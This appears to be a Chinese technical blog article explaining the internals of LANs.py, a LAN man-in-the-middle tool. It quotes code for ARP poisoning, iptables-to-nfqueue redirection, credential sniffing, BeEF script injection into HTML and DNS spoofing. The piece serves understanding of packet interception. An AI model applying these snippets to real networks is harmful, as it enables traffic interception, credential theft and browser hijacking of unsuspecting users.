当前位置：首页 > news >正文

LANs.py代码实现原理：深入理解nfqueue与Scapy的协同工作机制

news 2026/7/26 6:01:20

LANs.py代码实现原理：深入理解nfqueue与Scapy的协同工作机制

【免费下载链接】LANs.pyInject code and spy on wifi users项目地址: https://gitcode.com/gh_mirrors/la/LANs.py

在网络安全领域，网络嗅探工具LANs.py是一款基于Python开发的强大工具，专门用于局域网安全测试和网络流量分析。本文将深入解析LANs.py的核心实现原理，重点探讨其如何巧妙结合nfqueue和Scapy这两个关键技术组件，实现对网络数据包的拦截、分析和修改。通过理解这些底层机制，您将能够更好地掌握网络数据包处理的高级技术。

🔍 项目概述与核心功能

LANs.py是一个功能丰富的局域网安全测试工具，主要功能包括：

ARP欺骗攻击：通过ARP协议欺骗实现中间人攻击
网络流量嗅探：捕获和分析HTTP、FTP、IMAP、POP3、IRC等协议的数据
HTML/JS注入：向受害者访问的页面注入自定义代码
DNS欺骗：重定向特定或所有DNS请求
WiFi干扰：持续干扰附近的WiFi网络

该工具的核心依赖包括python-nfqueue-bindings、Scapy和Twisted，这三个库共同构成了LANs.py的技术基础。

🏗️ 架构设计：三组件协同工作

1. nfqueue：Linux内核数据包队列

nfqueue是LANs.py实现数据包拦截的核心组件。它工作在Linux内核的Netfilter框架中，允许用户空间程序处理网络数据包。LANs.py通过以下关键代码实现nfqueue的配置：

class Queued(object): def __init__(self, args): self.q = nfqueue.queue() self.q.set_callback(Parser(args).start) self.q.fast_open(0, socket.AF_INET) self.q.set_queue_maxlen(5000) reactor.addReader(self) self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)

这段代码创建了一个nfqueue队列对象，设置了回调函数，并指定了数据包复制模式。关键参数NFQNL_COPY_PACKET确保整个数据包内容被复制到用户空间，以便后续处理。

2. iptables规则配置

LANs.py使用iptables将特定流量重定向到nfqueue：

os.system('/sbin/iptables -A FORWARD -p tcp -s %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP) os.system('/sbin/iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')

这些iptables规则将受害者的特定端口流量（21-FTP、26-SMTP、80-HTTP、110-POP3、143-IMAP、6667-IRC）和DNS请求（端口53）重定向到nfqueue队列，实现了对关键网络流量的捕获。

3. Scapy：数据包解析与操作

Scapy是LANs.py的数据包处理引擎，负责解析和修改网络数据包：

from scapy.all import * # ... pkt = IP(payload.get_data()) IP_layer = pkt[IP] IP_dst = pkt[IP].dst IP_src = pkt[IP].src

Scapy提供了强大的数据包构造和解析能力，使得LANs.py能够轻松访问数据包的各个层次，从IP层到应用层。

⚡ 工作流程详解

步骤1：ARP欺骗建立中间人位置

LANs.py首先通过ARP欺骗将自身插入到受害者和路由器之间：

def poison(self, routerIP, victimIP, routerMAC, victimMAC): send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC)) send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))

这个函数发送伪造的ARP响应包，让受害者认为攻击者的MAC地址是路由器的MAC地址，同时让路由器认为攻击者的MAC地址是受害者的MAC地址。

步骤2：数据包捕获与处理

一旦中间人位置建立，所有流量都会经过攻击者的机器。nfqueue捕获这些数据包，并通过回调函数传递给Scapy处理：

def start(*args): for i in args: if isinstance(i, nfqueue.payload): payload = i # 解析数据包 pkt = IP(payload.get_data()) # 处理逻辑...

步骤3：协议解析与内容提取

LANs.py针对不同协议实现了专门的解析器：

HTTP解析：提取URL、POST数据、用户名密码
邮件协议：解析IMAP/POP3认证信息
FTP：捕获FTP登录凭证
IRC：监控IRC聊天消息

步骤4：HTML注入机制

当检测到HTTP响应时，LANs.py可以注入自定义HTML或JavaScript代码：

def injecthtml(self, load, ack, pkt, payload, dport, sport): if self.args.beef: bhtml = '<script src=' + self.args.beef + '></script>' # 注入逻辑...

注入过程包括：

检查响应是否为HTML内容
在<head>标签后或</head>标签前插入代码
重新计算数据包校验和
发送修改后的数据包

步骤5：DNS欺骗实现

DNS欺骗功能通过修改DNS响应实现：

def dnsspoof_actions(self, dns_layer, IP_src, IP_dst, sport, dport, payload, rIP): # 创建伪造的DNS响应 spoofed_pkt = IP(dst=IP_src, src=IP_dst)/\ UDP(dport=sport, sport=dport)/\ DNS(id=dns_layer.id, qr=1, aa=1, qd=dns_layer.qd,\ an=DNSRR(rrname=dns_layer.qd.qname, ttl=10, rdata=rIP))

🔧 关键技术细节

1. Twisted事件循环集成

LANs.py巧妙地将nfqueue集成到Twisted事件循环中：

class Queued(object): # ... def fileno(self): return self.q.get_fd() def doRead(self): self.q.process_pending(500)

通过实现IReadDescriptor接口，nfqueue队列可以像文件描述符一样被Twisted的事件循环监控，实现了异步、非阻塞的数据包处理。

2. 数据包修改与转发

当需要修改数据包时，LANs.py使用以下流程：

解析原始数据包
修改应用层内容
重新计算IP和TCP校验和
丢弃原始数据包
发送修改后的数据包

payload.set_verdict(nfqueue.NF_DROP) pkt_frags = fragment(pkt) for p in pkt_frags: send(p)

3. 错误处理与恢复

LANs.py包含完善的错误处理机制，确保在注入失败时不会中断网络连接：

try: # 尝试注入 payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt)) except Exception as e: # 失败时放行原始数据包 payload.set_verdict(nfqueue.NF_ACCEPT)

📊 性能优化策略

1. 数据包队列管理

LANs.py设置队列最大长度为5000个数据包，防止内存溢出：

self.q.set_queue_maxlen(5000)

2. 选择性处理

工具只处理特定端口的数据包，避免不必要的性能开销：

mail_ports = [25, 26, 110, 143] if dport in mail_ports or sport in mail_ports: self.mailspy(load, dport, sport, IP_dst, IP_src, mail_ports, ack)

3. 资源清理

程序退出时自动清理iptables规则并恢复ARP表：

def cleanup(): os.system('/sbin/iptables -F') os.system('/sbin/iptables -X') os.system('/sbin/iptables -t nat -F') os.system('/sbin/iptables -t nat -X')